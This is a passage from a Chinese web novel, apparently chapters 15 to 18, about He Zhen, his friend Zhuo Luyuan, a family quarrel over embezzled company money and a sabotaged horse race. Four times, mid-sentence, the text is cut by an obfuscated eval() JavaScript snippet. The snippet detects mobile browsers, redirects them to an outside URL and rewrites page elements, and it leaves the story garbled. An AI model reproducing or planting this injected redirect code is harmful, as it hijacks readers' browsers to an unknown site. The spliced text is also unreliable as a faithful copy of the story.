卓鹭元和贺真一样穿着休闲装,虽然休闲但不随便,连头发都是精心打理过了,任谁看也想不到对方已经在家窝了好几天。 “来了,想吃什么菜?”贺真把菜单递给卓鹭元,忽然想起他是这里的常客,随机又放在桌子上:“差点忘了,你比我更熟悉这里。” 卓鹭元随口点了两道菜,目光在贺真的衣服上逡巡,似乎有些不满:“今天怎么没穿我送给你的衣服?” 贺真顺着卓鹭元的目光低头看着自己身上的休闲装,好脾气地解释:“上次在这里吃饭的时候不太愉快,你送我的衣服很好,万一被毁了我会很心疼。” 卓鹭元对这个回答比较满意,但又觉得贺真说的话有点怪,怪茶香四溢的。 连系统和忍不住悄悄在桌子底下吐槽贺真:【宿主,你讲话好像茶茶的。】 贺真用脚尖把猫拱开,在心里对它说:“这么喜欢发绿茶任务,我看你就叫茶茶好了。” 卓鹭元对贺真在星芒的事很感兴趣,菜上来之后都没顾得上动筷子,立马凑在他跟前问详细情况:“听说你把姓贺的给揍了?快和我说说,我早看他不顺眼了。” 姓贺的? 贺真没管这个称呼,反正不是在叫自己,挑着重点部分说了一下:“没打他。他想打我,被我握住拳头扭伤手腕而已。我们家太久没回国,我也是去了才知道星芒里有多乌烟瘴气。” 贺真那天被迫听了不少关于星芒,尤其是贺彦的八卦,最后连贺彦那方面不行这件事都被曝出来了。虽然他不知道保不保真,但怀疑的种子一旦种下,那贺真就只能祝贺彦好运了。 卓鹭元倒是挺开心,就姓贺的那一副肾虚的样子,怎么可能欺负得了贺真。卓鹭元心情不错地盛了一碗汤给贺真,十分关心地说:“光顾着说话了,你先喝点汤。” 汤是上次贺真没喝到的火腿冬瓜煲,虽然清淡些,但到底比他这些天吃得有滋味多了,四时居果然名不虚传。 吃饭间,卓鹭元忽然想起贺彦他爸贺继明,他以前见过那人,看着别人时眼里都是衡量和算计。贺真茶是茶了点,但人比贺彦好多了。这次贺真惹了姓贺的,估计他爸不会善罢甘休。 卓鹭元有些不确定地问贺真:“姓贺的家里人怎么办,估计不会放过你吧?到时候如果需要帮忙,可以和我还有俊文他们说,我们能帮的肯定帮。” 贺真没推拒这份好意,笑着应下卓鹭元的话:“好,有需要我一定开口。”卓鹭元不习惯被人感谢,别扭地补充了一句:“怎么说咱们两家也是朋友,我照顾你也是应该的。” 这顿饭吃得宾主尽欢,贺真虽然嘴上没说,但心里也是悄悄松了口气。但人显然不能干半场开香槟的事,贺真半只脚刚迈出包间的大门,系统的提示音和大堂时熟悉的质问声就同时响了起来: 【主线任务已发布,请宿主尽快完成!】 “我只是犯了一次错误,也愿意赔钱,你们凭什么辞退我!” 贺真深吸一口气,把迈出去的左脚收回,打开系统空间查看这次的剧情:【祁琼音敏锐地发现了贺真真也在这里,不顾经理的阻拦冲到她面前大声质问:“我已经答应赔偿了,为什么你还是不肯放过我,难道有钱就可以看不起别人吗!”贺真真垂下头,故作悲伤地说:“你误会我了,我没有为难你的意思。”说完贺真真似乎想要去拉祁琼音的手,却被对方一把推开,难过地站在卓鹭元身边。】 贺真:他要真把这个剧情走完了,估计卓鹭元以后是不可能来这地方吃饭了。 只可惜女主就是女主,贺真在门口犹豫的瞬间就被祁琼音发现了,祁琼音马上像剧情描述的一样冲了过来质问:“是不是你搞的鬼?我已经答应赔偿了,为什么你还是不肯放过我,难道有钱就可以看不起别人吗?” 卓鹭元慢贺真半拍,看贺真停下了还有些纳闷,然后就连着贺真被人劈头盖脸一顿骂,一时也顾不上对方是个女生,抬手把贺真拨到一边站了出去:“这么大声干什么,不知道的还以为被烫伤的人是你,没人该为你的错误负责。” 任务还是要做的,贺真也往前一步,垂下头把这辈子悲伤的事都想了一遍,尽量酝酿出悲伤:“你误会我了,我没有为难你的意思。” 贺真去拉祁琼音的手显然不现实,他怕被人当初色狼打,所以只是做出一个伸手解释的动作。还好祁琼音把他的手打开得够快,连贺真也松了一口气,这任务真是要命。 卓鹭元看着受了伤还委屈巴巴像一只大狼狗一样站在旁边的贺真,猜测到他大概是不想和女生起冲突,冷笑一声以后也不客气:“我看你这样也不像能干好工作的,你要是再纠缠我就报.警了。” 祁琼音快被这两人气哭了,四时居给的时薪高,工作时间也没有像其他小餐馆一样压榨人,已经是她能找到最好的兼职了。她妈妈还在医院里躺着,万一没了这份收入她该怎么办呀! 经理见卓鹭元动怒,连报.警都说了出来,赶紧让人把祁琼音拉走,自己出来打圆场:“二位,实在抱歉…” 卓鹭元懒得听经理后面的话,拽着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664995|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺真就出了四时居,言语间都是对贺真的恨铁不成钢:“你就是脾气太好了,上次就不该不和那个女的计较,看看被人欺负成什么样了。” 好欺负? 贺真有些心虚,但眼下也没办法解释,只好顺着卓鹭元的话说:“她看起来也挺不容易的。” 这话是真的,贺真知道祁琼音一个人能同时找到四份时间不冲突的兼职,平时还有时间去做实验的时候,心里对她十分佩服,这得是什么级别的时间管理大师。而且看女主这么努力的原因是为了病床上的母亲,他也确实不想为难对方。 只不过贺真看了一眼还在气愤的卓鹭元,现在他对女主祁琼音没什么好印象,连称呼也是“那女的”,那之后的剧情还能走得下去吗? 算了,反正和他没关系。 卓鹭元本来张口想说些什么,但看到贺真当真没把祁琼音的事放在心上的样子,眼中的气愤变成警惕和怀疑,看着贺真不确定地问:“等等,你这么护着那女的,该不会看上她了吧?” 那女的确实长得还行,但贺真长成这样也不像没人追的,该不会真看上她了吧? 真是的,看上谁不好,非看上她。 贺真:? 这误会可大了,贺真连忙解释:“怎么可能,我连她的名字都不知道,怎么可能喜欢她。只不过我一个大男人如果死咬着和她计较,传出去也不怎么好听,得饶人处且饶人吧。” 贺真可不想和女主作对,马上找了个借口撇清嫌疑,万一之后卓鹭元真的喜欢上祁琼音,他可不想成为中间那颗被人记恨的电灯泡。 卓鹭元没有完全信贺真的话,反而继续语重心长地劝他:“你可不能随便对别人心软。这种事我有经验,谁知道她们都是冲着图你什么来的,把别人想得太好可要吃亏的。” 卓鹭元在剧情里是最受欢迎的主角,贺真第一次知道原来受欢迎也会令人烦恼,看卓鹭元的意思似乎还吃过亏,没忍住问了出来:“你这样说,是之前有人骗过你吗?” 卓鹭元无所谓地笑笑:“有啊,怎么没有。故意和我偶遇碰掉我东西的,图我家世故意还有在我面前碰瓷的,甚至还有试图吃我豆腐的,我不上点心早就不知道栽多少次了。” 贺真恍然大悟,怪不得上次他不小心托住卓鹭元屁.股时他的反应那么大,他可以理解。 见贺真听进去了,卓鹭元才算放下心来:“吃一堑长一智吧,以前还有人找过理由说自己生病了,我捐了钱才发现是假的。怎么,你好像对这方面很没经验的样子,难道这些年在国外没人追过你?”这不太应该吧? 贺真由于系统限制不能说自己是直男,但他也说不出喜欢卓鹭元的话来,只好故意看了一眼卓鹭元,然后欲盖弥彰地移开目光,留给了卓鹭元足够的遐想空间。 卓鹭元:…… 靠! 16. 第 16 章 卓鹭元越想越不对劲,无视掉经理发来的道歉信息,自己在心里默默头脑风暴。 首先贺真真小时候就喜欢追在卓鹭元后面跟着他玩,也不许别人靠近自己,可以说喜欢的心思都摆在明面上。但卓鹭元也没把这太当回事儿,小时候嘛,谁还没说过一些大话,他还说过自己想当科学家呢。 而且这么多年过去了,贺真真也长成高高大大的贺真了,儿时那点喜欢怎么看也不像能持续到现在的样子,毕竟卓鹭元自己都没当回事。 最重要的是,他不是gay啊! 卓鹭元不仅不是gay,而且还因为被男人骚扰过,对gay没什么好印象,贺真怎么看也不像他曾经遇到过的那些男人,他怎么能是个gay呢! 卓鹭元看着贺真的绿泡泡,犹犹豫豫地把自己的昵称从“Z”改成了“Y”,意思是卓鹭元的“元”,这下拒绝贺真的意思应该够明显了吧?既委婉又不伤和气,还能暗示贺真自己没有那个意思,完美! “走,一起出去玩。小爷今天心情好,我请客!”卓鹭元在群里发了条消息,然后心情不错地盘算着去哪玩好。 和卓鹭元这边的好心情不同,贺真这边反而一片阴云,运气差得让他怀疑是不是最近出门没看黄历。 一花园之隔的贺家别墅里,贺继明像贺真估算的那样,真的压着贺彦上门道歉了。 贺彦的父亲贺继明今天五十多岁,但因为保养得当,看着才四十出头,和贺彦一样都有一副不错的皮囊。 “跪下!” 贺彦听到自己亲爹的一声怒吼,身子一抖直接在贺真父子俩面前跪了下来,脸上的耻辱和羞愤还没学会掩饰,被二人看了个正着。 贺继明坐在沙发上,恨铁不成钢地看了一眼,态度恭敬地和贺父道歉:“这些年都怪我疏于管教,谁知道让这孩子捅了这么大一个篓子,弟弟我实在心里有愧,这不马上带着我这不成器的儿子来道歉,希望能让哥你消消气。” 贺父看了一眼贺真,心想还真让这小子给说中了,于是轻咳一声:“继明啊,你这样可不太好吧。贺彦挪用公司公款,这可不是我说了原谅就能了结的事。而且,” 贺父看了一眼战战兢兢跪着的贺彦,目光锐利地看向贺继明:“你这样让他跪在我们面前,知道的是贺彦做错了事来和我们道歉,不知道的还以为我欺压小辈,你说是不是?你我都五十多岁了,有些事可不能糊涂啊。” 贺真没说话,视线却一直看着贺彦。上次他见贺彦时,对方还是十分嚣张的样子,甚至还要提拳打人。可在贺继明面前,贺彦却连半点反抗也没有,甚至从他的样子来看,贺继明也没动手打他,起码贺彦身上没有伤痕。 让自己孩子对着别人下跪,这是普通父亲对待孩子的态度吗?贺真猜对了,却也没有多高兴,反而脸上神色更加凝重。 贺继明也没辩解,反而顺着贺父的话叹了口气:“唉,谁说不是呢。贺彦这孩子从小就不服管,我们一直想着孩子嘛,长大就懂事了,谁想到一个没注意差点让他酿成大错。哥,你说该怎么办,我绝对别无二话,这次也该让这臭小子长长记性了。” “堂叔这话说得有道理,子不教父之过,堂叔这些年在国内就算再忙,也不能疏忽了对他的管教。还是说,堂叔忙的事情,比自己儿子还重要?”贺真是故意拿话激贺继明的,他是小辈,就算出言不逊也不是什么大错,但如果能撕开一点贺继明的真面目,那就划算。 贺继明却像没听到贺真话里的刺一样,亲切地和贺真打着招呼:“这就是阿真吧,这么多年不见,现在真是一表人才,和我哥当年像极了!不过贺彦这孩子确实让人操心,你们就算公事公办,我也无话可说,毕竟是他有错在先。” 贺彦瞳孔骤缩,挪用公司的钱可是要坐牢的,他才二十多岁,他不想坐牢!贺彦一时也顾不上被罚跪的屈辱,膝行到贺继明跟前凄声哀求:“爸,你救救我,我不想坐牢啊!” “闭嘴!”贺继明看了贺彦一眼,只是这一眼就让贺彦浑身发冷。上一次他看到自己父亲这个表情,是在爷爷的葬礼上,那时他也不过是个孩子,但贺继明冰冷且毫无温度的眼神,他至今都忘不掉。 那不是看自己亲人的眼神。 所以贺彦天不怕地不怕,却唯独不敢在贺继明面前造次。就像现在,他知道自己父亲要放弃他了。 贺父似乎对贺继明的绝情有些不忍,正想说些什么时却被贺真接过话头:“既然如此,这件事就交给我来处理。不过在此之前,还有一件事我想和堂叔问清楚,” 贺真站起身来,拿起桌上的茶壶亲自给贺继明添了一杯水,弯着腰放在他面前,自上方俯视着贺继明,一举一动都带着十足的压迫感:“我在星芒也略做了一些调查,堂弟转移的资金数额比较大,但生活似乎比我想象的要简朴许多。不知道堂叔能不能替我解答,这笔钱到底去哪了呢?” 贺继明完美的面具终于在听见贺真的话时出现了一丝裂痕,一双总是带笑的眼睛微微眯起,不动声色地拿起茶杯喝了一口,却借着喝茶的动作看了贺彦一眼。 贺彦惨笑一声,忽然从地上站起来,自暴自弃地说:“都是我干的。我就是看不惯你们,你们在国外待的好好的,为什么要回来抢我的家产!明明我们都管了二十年了,凭什么你们一句话就要收回去!” 贺彦话中俨然已经把星芒当做了自己的所有物,贺真懒得和他废话,对贺父使了个眼色,让贺父劝他们回去了。 贺彦回去以后砸了房间里所有能砸的东西,已经预见到了自己的下场,双目赤红不甘地撑着桌子:“贺真,我一定要让你付出代价!” 贺彦勉强找回点理智,拿出手机给一个人打了个电话:“最近帮我盯着贺真,不管他有什么动向都要第一时间告诉我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664996|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是栽了没错,但贺真也别想好过! 贺继明为了自己,连自己亲儿子都肯卖,这不得不让贺真在心里对他又多了几分堤防。贺父似乎对此也有点心虚,咳了一声想给自己找补一下:“以前继明也不是这样的,对老人还是挺孝顺的。” 贺真往自己房间走,头也不回地答:“嗯,孝死我了。” 贺父:“……”算了,他还是别给儿子添乱了。贺父自己也没想到,贺继明居然连贺彦都能放弃,那可是他亲儿子,贺父心里也不禁隐隐发寒。 贺真觉得卓鹭元对贺彦的称呼可太对了,谁让他们那么烦人。可能是卓鹭元经不起念叨,贺真刚这么想着,下一秒就发现自己被拉进了一个小群里,群名叫淮市F4。 贺真迅速锁屏,觉得自己肯定是小人见多遇到鬼了,结果群里的消息弹个不停,他的手机开了震动之后一直嗡嗡作响,贺真不得不面对现实:你们这个群为什么叫淮市F4? 他和卓鹭元,再加上盛俊文亮子他们,不是有七个人吗? 卓鹭元:@盛俊文我早就说让你别乱改群名,你现在看看丢人不! 盛俊文:F4是个代称嘛,就像TOP10肯定不止十个。我想着把你拉进来以后说话也方便点。怎么样,过两天出去骑马去? 骑马?贺真来了点兴趣:哪里的马场? 卓鹭元:就西郊那个,最近他们刚做完马场维护,俊文说可以趁着天气好一起出去跑跑马。 李尚乐:骑马吗?我在行,加我一个! 不知道是谁把李尚乐也拉了进来,贺真还没说几句话,几个人就风风火火地商量好了去骑马的事,甚至已经聊到了骑装的颜色,尤其是不许卓鹭元和他们穿一样颜色的。 盛俊文:你跟我们撞衫,是想让兄弟一辈子找不到女朋友吗? 卓鹭元无话可说,只好让他们先挑颜色,自己躲在手机背后阴暗地碎碎念,小爷穿其他颜色也是最帅的! 卓鹭元最后挑了一件白色的骑装,其他人嫌自己穿白色显胖被人比下去,最后只给卓鹭元留下这么一个颜色,杜绝了所有抢风头的可能。 贺真看他们讨论地热火朝天,发觉自己也有好久没出去骑马放松了。盛俊文他们选的日子是个周五,干脆给自己放一天假好了,公司的事先给贺父顶着,反正他最近正心虚着,刚好给他找点事做。 贺真:好啊,那周五见。 贺真回完消息就把手机扔到一边,转身进浴室去洗澡,自然没看见最后卓鹭元选了什么颜色。 所以直到大家在马场碰面的时候,盛俊文看看左边一身黑的贺真,又看看右边一身白的卓鹭元,嘴唇微颤:“你俩这是…情侣装?” 盛俊文说完似乎明白了什么,马上把手机从兜里掏了出来,看着两人的微信名,一个Y和一个Z。 所以他兄弟单了二十多年,最后还是弯了吗?! 17. 第 17 章 贺真看了一眼卓鹭元身上穿的骑装,虽然觉得自己大概是洗不清了,但还是解释了一句:“那天我回完消息就去洗澡了,没看到后面的消息。” 盛俊文和阿亮两个人话唠,闲着没事的时候群里能水出不少消息,贺真看了两句觉得没营养就关了,结果刚好错过那些消息。 卓鹭元迅速摇摇头,张口就是一个否认三连:“我不是,我没有,你别胡说啊。” 盛俊文听着贺真和卓鹭元苍白无力的解释,尬笑两声打了个哈哈,生硬地转移话题:“那个,阿亮和城哥他们先进去了,我们也快去吧,哈哈。” 盛俊文这样子一看就没信两人的话,贺真张口有心想再多说两句,可盛俊文听到以后脚步却越来越快,颇有点落荒而逃的意味。 卓鹭元无力地看着盛俊文离开,第一次知道什么叫越描越黑,恶狠狠瞪了一眼贺真之后跟上去了。 大家都走了,贺真不放弃解释也没办法,只好跟着一块进了马场。 今天天气不错,几人边走边聊,很快就聊到了西郊马场里的马,阿衡一张娃娃脸上都是兴奋:“这边的马都很不错,最近又从草原那边进了一批新马,血统很好,早到早得哦!” 卓鹭元几人偶尔会来这边跑马,每人在这边都有自己的马。贺真是第一次来,卓鹭元就算心里别扭,也还是没忘记照顾着点贺真的事:“我带你去挑马?别的不说,这家马场的马都还不错的,可以信得过。” 不远处卢俊城骑马过来,朗声对贺真说:“快去挑匹好马,咱们比比谁骑得更快!” 卢俊城说完便不等其他人,拉着缰绳轻轻夹了一下马肚子,率先向马场那边跑去,脸上也是一副迫不及待地样子。卓鹭元无奈地说:“城哥喜欢跑马,不用管他,你按自己的节奏来就好。” 卓鹭元说完才想起来问贺真:“对了,我都忘记问你会不会骑马了,需不需要让马术师教你?”贺真从小在国外长大,卓鹭元觉得他大概是会的,要不然应该也不会答应和他们来马场玩。 贺真的回答果然和卓鹭元猜得一样,他确实是会骑马的:“不用,会骑一点。” 卓鹭元放心下来,带着贺真去选马。贺真运气不错,今天有不少新马,卓鹭元带着贺真一路看过去,有些马他自己都心动了,贺真却似乎还是不满意的样子。 卓鹭元没忍住问他:“你到底想选什么样马,那些你都不满意吗?” 贺真摇摇头,那些马看得出血统都很不错,但他总觉得差点性格。等到两个人几乎快把马看完一圈的时候,贺真发现那边的马术师似乎对着其中一匹马在说话。 那是一匹高大的枣红色骏马,身上的毛发被打理得极好,看起来威风极了,堪称马界吕布,偏偏对着马术师的时候态度冷淡,时不时还嫌烦地用鼻子对他喷气。 马术师显然也知道知道这马的出色,这会还在耐着性子哄它:“祖宗,我的好祖宗,我们这里都是贵客,你可别再摔人了,不然我真的会死的。” 马看了马术师一眼,用鼻子喷气回答他。 马术师:…… 卓鹭元也面色古怪地看向贺真:“你想要的就是这样有性格的马?” 马术师见有人过来,于是连忙站直身子,轻咳一声恢复了平时的样子:“二位先生是来选马的吗?不巧这匹马性格比较…烈,建议二位还是选其他马比较好。” 贺真却看着那匹马移不开眼睛,这匹马太优秀了,他确实想试试。 马术师犯了难,万一这马把人摔了,扣奖金事小,要是受伤可就不妙了。马术师还想再劝,贺真却已经走到了那匹马的面前,既没拿饲料,也没伸手摸它,而是比试意味十足地对马说:“比比?” 马能听得懂人话,这不开玩笑嘛!马术师怕这马也喷贺真,正准备上去解释,没想到这匹马却转过来看着贺真,既没喷气也没不耐烦,发出了一声响亮的“咴”,是应战的意思。 贺真带着马往马场走,马术师跟在后面有些凌乱,这马听得懂人话,那之前不就是嫌他烦故意不理他吗!算了,命苦过苦瓜。 到了马场,这匹马果然开始不服贺真,贺真准备上马的时候就企图把他甩下去,但还是被身手敏捷的贺真骑上了马背,任它怎么甩都稳如泰山。 它见贺真不接招,索性沿着马场中的赛道跑了起来,速度还不慢,想让它背上的人类知难而退。贺真好久没骑过马,一开始还有些重心不稳,跑到后半场时却越来越得心应手,它见自己怎么样都没办法把贺真甩下去,反而渐渐平静下来,载着贺真跑完了一圈。 贺真拉着缰绳慢慢减速,下马轻轻摸着它的脑袋。这马也不闹,任由贺真摸着,低着头对贺真叫了一声:“咴。” 贺真:“嗯。” 卓鹭元看不懂,但大受震撼,指着马对贺真说:“你别告诉我你俩能交流,我不信。” 贺真笑着对卓鹭元说:“它挺有灵性的。” 马儿打了个响鼻,贺真看着它想了想,用商量的语气问他:“叫你威风怎么样?” 威风凛凛,贺真觉得这个名字和它相配极了。威风似乎也没有什么意见,用脑袋拱了拱贺真的手,似乎催促着他再去跑两圈。 李尚乐在不远处看着贺真驯服那匹一看就脾气很大的马,正在稀奇地凑热闹时,一道刺耳的声音响起:“我还当是谁呢,这不是京圈佛子吗。怎么样,要不要我帮你在头顶烫几个戒疤呀?” 贺真和卓鹭元被李尚乐那边的动静吸引,看着马上那个一头黄毛的人,小声问卓鹭元:“这是谁?” 卓鹭元觉得自己今天多少有点倒霉,黑着脸回答贺真:“榜一大哥。” 贺真:? 卓鹭元见贺真没反应过来,卓鹭元又提醒了一下:“和李尚乐打赌,看谁能投到女主播榜一的那个。” 这下明白了。 李尚乐最近非常在意他的头发,听到对方欠揍的声音,没忍住回击:“我当是谁呢,原来是榜一大哥啊。怎么样,草泥马,你的钱要回来了吗?” 贺真刚明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664997|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟一些的眼神顿时又迷茫了起来,为了不破坏他们那边剑拔弩张的气氛,压低声音问卓鹭元:“我怎么好像听见李尚乐骂人了。” 卓鹭元压住继续看热闹的心思,努力抽出一点注意力给贺真解释:“那黄毛叫杨一群,外号叫一群羊。但他不是跟李尚乐一直不对付吗,所以李尚乐为了气他就会这么叫。” 杨一群知道李尚乐真剃了光头,特地染了最亮眼的颜色来李尚乐面前晃悠,谁知道对方两句话能气死他三次,脸上那点得意马上扭曲:“死秃驴,我早就说了不许叫我那个外号,谁是羊驼了!” 李尚乐轻飘飘地回答:“那不都是羊,还分什么三六九等。” “你生物是音乐老师教的吗,羊驼羊驼那能是羊吗,那是骆驼!” “反正我又不叫一群羊,略略略。” 贺真看了几分钟,忽然指着李尚乐和杨一群说:“他们两个一直都这样吗?” 卓鹭元看着贺真复杂又隐忍的眼神,仿佛能听到他心里大声嚷嚷着的“贵圈真乱”四个大字。原本卓鹭元和他们往来的时候不觉得,但现在怎么看怎么丢人,拉住贺真说:“算了,我们去骑马吧。” 让这两个小学生自己吵去。 杨一群虽然赢了李尚乐,但实际上也没讨到好,回去就吃了两顿皮带炒肉,来自他爸和他爷的。他爷都快八十了,拿着他爸的皮带抽得是一点不手软,杨一群现在想想还觉得屁股发.紧。 他爸更是发话,那钱没要回来之前,所有的卡都给他停了。今天他来马场,还是靠之前加入的会员。 杨一群和李尚乐吵了一会也觉得没意思,眼神一转提出比赛:“要不要来比一场?” 李尚乐看他一眼,根本不上钩:“不比。谁知道你是不是被家里经济制裁,特意来我这里骗吃骗喝。” 杨一群的心思被说中了一部分,心虚的同时更不想放过李尚乐:“你不是在意你的头发吗?如果你赢了,我就把头发也剃光。但是如果我赢了,你要帮我一起追回那笔钱。” 李尚乐的骑术不如杨一群,当然不想上钩,可是杨一群松了口,说可以选一个人和他比。李尚乐眼神一转,忽然看向不远处刚刚驯服了烈马的贺真,心里有了想法。 但他没有马上答应下来,而是让杨一群在这等他,自己跑到贺真面前两手拜拜,指着不远处的杨一群指手画脚说了些什么,反正最后杨一群是看到那个高大的男人对着自己点了点头,估计是李尚乐许了什么好处。 不远处。 李尚乐双手合十对贺真拜拜:“贺真,我的贺哥,你就和他比一场吧,你连这烈马都能驯服,何况这只讨人厌的羊驼。我真的很想看他光头的样子,这对真的我很重要,拜托你了!输了我也没有怨言!”反正他已经无发可剃了! 说实话贺真也有点想看羊驼…杨一群光头的样子,但听着李尚乐嘴里对杨一群的形容,心里不由得对他有点同情。 毕竟再过一会,榜一大哥的钱也没了,头发也要跟着没有了。 18. 第 18 章 杨一群不明所以地看向贺真,发现是个自己没见过的陌生面孔,看着倒是挺唬人的。杨一群有些担心自己会输,反对的话刚到嘴边时却突然看到了他身边那匹马。 那不是最近新来的刺头吗,杨一群也试图驯服过,但失败了。 杨一群眼珠一转,大声对贺真说:“你替他比可以,但必须骑那匹马,现在放弃还来得及。” 贺真抚摸着威风,顺势答应下来:“可以。” 杨一群骑着马来到赛道,贺真也牵着威风慢慢走过来。杨一群见状,没忍住开口嘲讽:“别逞强,一会儿上不去马就丢人了。” 贺真瞥他一眼,动作利落地翻身上马,动作比杨一群还标准一些。 杨一群看着贺真的动作,心里有种不好的预感。贺真骑在马上,静静地看着杨一群,无声催促他开始比赛。杨一群不想被贺真看扁,心里憋着一口气也站上了赛道。 杨一群和贺真的比赛方式很简单,两个人骑马绕赛道跑两圈,谁到达终点的速度快就是胜者。 马术师作为裁判,确认两人都准备好之后喊了开始,同时手中秒表开始计时。 马术师喊出“开始”的瞬间,威风仿佛知道自己在比赛一样,扬蹄像一支离弦的箭一般冲了出去,起步就与杨一群拉开了距离。 杨一群看到威风冲出去的动作就知道不好。威风潜力好,当初他看到时也心动过,只不过最后放弃了。 也不知道贺真做了什么,竟然真让他把这烈马驯服了。眨眼间的功夫,杨一群和贺真之间的距离就被拉开不少。 杨一群心里着急,看着对方速度越来越快,杨一群只好孤注一掷加快速度,朝前面的贺真追了过去,企图缩小两人之间的距离。 可这时突然发生变故,杨一群骑着的马速度不减,却忽然之间像受了什么刺激一样,发疯一般地想把杨一群从身上甩下来。 赛场边的人齐齐变了脸色,马术师心道不好,冲到赛场里想止制住发疯的马,这马也是最近到底,性格十分温驯,怎么会突然像发疯了一样? 贺真也发现了旁边的异状,立刻勒马往杨一群那边过去。杨一群努力拽着缰绳,伏在马背上避免自己被甩下来,可是那马丝毫没有要停下的迹象,他快坚持不住了。 等到下一次马儿发疯,杨一群的缰绳下意识脱手时,他脑子里只有两个字:完了! 杨一群以为自己被马甩下去,高低得伤筋动骨了,结果却忽然感觉自己即将摔下来时被一道强有力的力量捞住了,下一秒就像一个沙包一样趴在马背上被颠地天翻地覆:“你……慢一点……呕!” 贺真骑马过去,看杨一群快摔下来时伸手捞了一把,拽到杨一群手臂的瞬间另一只手也松开缰绳使劲将人拽上马背,威风还很贴心地将杨一群的位置颠正了一点,可惜杨一群没感受到。 马术师和工作人员已经冲过去察看那匹马的情况了,这边杨一群也在被人从马上卸下来,下来时还捂着嘴一副想吐的样子。 “你们没事吧?!”卓鹭元先冲了过来,他刚才看到贺真捞人的动作心都快跳出来了。马甩人的力道有多大,贺真那下说不好手臂都会被那力道带着受伤,实在是太危险了! 贺真活动了一下因为救人而酸麻的手臂,还好只是用力过度。还好杨一群体型适中,如果对方再胖一点,他就真的没办法了。贺真确认自己没事,才回答卓鹭元:“没事,只是用力过猛有点酸疼而已。” 卓鹭元有心想说他两句,但看着一旁半死不活,两条腿抖得像商场旁边气球人一样的杨一群,还是把话咽了回去,转头问马场的负责人:“这就是你们驯的马?” 卓鹭元他们都是富家公子哥,马场负责人根本得罪不起,伏低做小赔罪的同时将驯马师喊了过来:“抱歉,都是我们管理不当。你们怎么回事,这种没驯好的马也给客人骑?!” 杨一群被人扶着去厕所洗脸,回来之后脸色总算好了点:“没驯好?我怎么看着这马像是发病了。” 马术师苦着一张脸,解释的同时心里也觉得纳闷:“这匹马平时很温顺的,今天也不知道是怎么了,我已经带下去让医生察看情况了。” 贺真想着刚才那马的样子,八成是吃了不该吃的东西,于是上前一步问那马术师:“是谁负责喂马的?” 马术师似乎想到什么,脸色有些难看,支支吾吾半天说不出话来。马场负责人一看不好,勒令马术师说实话:“都什么时候了,你还不说实话!” 马术师只好说实话:“是前段时间新招的小何。我见他什么都做不好,就让他去喂马了。” “那人呢?给我叫过来!”负责人喘着粗气,今天他要是不给这几位爷一个交代,怕是他的马场也不能好好开了。 “走了……”马术师见负责人脸色不对,连忙解释:“他刚才接了个电话,说自己家里人生了急病,今天请假了。” 贺真顺势接上一句:“我猜他家里人的病大概不会好了。”这人应该也不会回来了。 杨一群嗤笑一声,没指望他们能查出来什么,准备回去以后动用自己的关系查一查。负责人走了之后,杨一群表情别扭,又有些不好意思地说:“那什么,刚才谢谢你救我,算我欠你一个人情。” 贺真摇摇头示意不用,他刚好对这件事也有些自己的猜测,问杨一群:“你为什么会骑那匹马?平时骑的也是那一匹吗?” 杨一群有些不解,但看着贺真若有所思的样子,还是认真回答:“不是,我平时骑的是另一匹。最近听说来了新马,我挑特地选了温顺的马。你是什么意思?” 贺真却忽然话锋一转:“这件事说不定是我连累了你。如果你要给一个你不了解马术水平的人选一匹马,你会选烈马吗?” 卓鹭元听出了贺真的话外之意,猜到贺真心里应该是有想法,忍不住问他:“你怀疑谁?该不会是贺彦?” 贺真点头,杨一群却打断了两个人的话:“等一下,什么贺彦,你是贺家人?” 卓鹭元这才想起来自己似乎还没有给。杨一群介绍过贺真,刚好趁着这个机会开口:“这是贺真,很早就出国了,你之前没见过,就是贺继明他大哥家。” “对。之前他因为挪用星芒的钱被我踢出公司,应该是对我怀恨在心。抱歉,连累你了。”贺真对杨一群道歉,杨一群心里那点不舒服也没了,反正贺真救了他,他要抓着不放也不好看。 但是对于贺彦,杨一群就没那么好心了,给小爷等着! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 